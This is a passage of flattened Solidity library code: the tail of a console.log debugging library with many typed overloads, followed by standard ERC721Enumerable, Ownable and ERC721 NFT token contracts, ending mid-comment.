p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from 